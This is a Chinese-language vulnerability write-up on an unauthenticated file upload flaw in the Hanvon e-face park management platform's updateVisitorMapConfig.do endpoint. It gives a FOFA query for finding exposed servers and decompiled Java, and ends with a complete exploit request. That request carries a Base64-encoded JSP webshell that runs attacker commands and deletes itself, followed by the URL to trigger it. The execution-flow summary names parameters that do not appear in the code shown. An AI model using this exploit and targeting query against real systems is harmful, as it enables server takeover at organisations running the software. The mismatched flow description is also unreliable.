漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 updateVisitorMapConfig.do 接口存在任意文件上传漏洞。攻击者可在无需认证的情况下,通过向该接口上传恶意文件,实现任意文件上传,进而可能导致远程代码执行或服务器被控制,严重威胁系统安全。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
直接看 VisitorMapConfigController 里关于 updateVisitorMapConfig 的实现
@ResponseBody
@RequestMapping(
value = {"/updateVisitorMapConfig.do"},
method = {RequestMethod.POST}
)
public RequestJson updateVisitorMapConfig(HttpServletRequest request, @RequestBody VisitorMapTpm visitorMapTpm) {
RequestJson result = new RequestJson();
try {
if (visitorMapTpm.getUpdatedPhoto() == null || visitorMapTpm.getUpdatedPhoto().isEmpty()) {
result = RequestJson.failuerResult(result, getMessage("basics_missing_parameter"));
return result;
}
this.visitorMapConfigAsm.updateVisitorMapConfig(request, visitorMapTpm);
result = RequestJson.successResult(result, visitorMapTpm, getMessage("basics_update_success"));
} catch (Exception e) {
String msg = getMessage("basics_go_wrong") + e.getLocalizedMessage();
result = RequestJson.errorResult(result, msg);
e.printStackTrace();
}
return result;
}
跟进 updateVisitorMapConfig ,重点看下
public void updateVisitorMapConfig(HttpServletRequest request, VisitorMapTpm visitorMapTpm) throws IOException {
String updatedPhoto = visitorMapTpm.getUpdatedPhoto();
String fileId = UUID.randomUUID().toString().replace("-", "");
String fileType = visitorMapTpm.getFileType();
String path = request.getSession().getServletContext().getRealPath("/resource");
String savePath = path + "\\" + fileId + "." + fileType;
GetPhoto.generateImageByBase64(updatedPhoto, savePath);
String uploadPath = fileId + "." + fileType;
visitorMapTpm.setUpdatedPhotoPath(uploadPath);
visitorMapTpm.setModifyTime(DateUtils.getDate());
this.visMapConfigDsm.updateVisitorMap(visitorMapTpm);
if (visitorMapTpm.getVisMapSignTpmList() != null) {
List<VisMapSignTpm> visMapSignTpmList = visitorMapTpm.getVisMapSignTpmList();
if (visMapSignTpmList != null) {
Long mapId = visitorMapTpm.getId();
this.visMapSignDsm.deleteByPrimaryKey(mapId);
for(VisMapSignTpm visMapSignTpm : visMapSignTpmList) {
visMapSignTpm.setNgMapId(mapId);
visMapSignTpm.setMapState(visitorMapTpm.getMapState());
visMapSignTpm.setIdDevClass(visMapSignTpm.getId() + "@" + visMapSignTpm.getDeviceClass());
this.visMapSignDsm.insertVisMapSignTpm(visMapSignTpm);
}
}
}
}
用户可控 Base64 编码数据直接解码并写入用户可控路径的文件中,允许攻击者写入任意内容到系统任意位置,造成了任意文件上传漏洞。
而 generateImageByBase64 实现如下
public static boolean generateImageByBase64(String imgData, String imgFilePath) throws IOException {
if (imgData == null) {
return false;
} else {
BASE64Decoder decoder = new BASE64Decoder();
OutputStream out = null;
try {
out = new FileOutputStream(imgFilePath);
byte[] b = decoder.decodeBuffer(imgData);
for(int i = 0; i < b.length; ++i) {
if (b[i] < 0) {
b[i] = (byte)(b[i] + 256);
}
}
out.write(b);
} catch (FileNotFoundException e) {
deleteFile(imgFilePath);
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
out.close();
return true;
}
}
}
就是解码base64数据后直接写入文件,整个过程没有文件后缀或文件内容检查、校验。
整体执行流程如下
用户输入 visitorPoliceTpm.cardId 和 visitorPoliceTpm.img → 经 trim() 处理后,cardId 用于构建 fileName 和 imgFilePath,img 用于 imgData → 传递到 GetPhoto.generateImageByBase64 方法 → imgData 解码后写入文件,imgFilePath 用于 FileOutputStream.write() 调用进行文件写入操作。
漏洞复现
POST /manage/visitorMapConfig/updateVisitorMapConfig.do?recoToken=SGUsqvF7cVS HTTP/1.1
Host: hanvon.mrxn.net
Content-Type: application/json
{
"id": 1,
"mapName": "test",
"fileType": "jsp",
"updatedPhoto": "PCUgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKS5nZXRJbnB1dFN0cmVhbSgpO2ludCBhID0gLTE7Ynl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4XTtvdXQucHJpbnQoIjxwcmU+Iik7d2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXtvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIsMCxhKSk7fW91dC5wcmludCgiPC9wcmU+Iik7bmV3IGphdmEuaW8uRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKCkpKS5kZWxldGUoKTslPg=="
}
访问文件执行命令 /manage/resource/xxxxx.jsp?cmd=whoami

成功执行上传代码回显命令执行结果


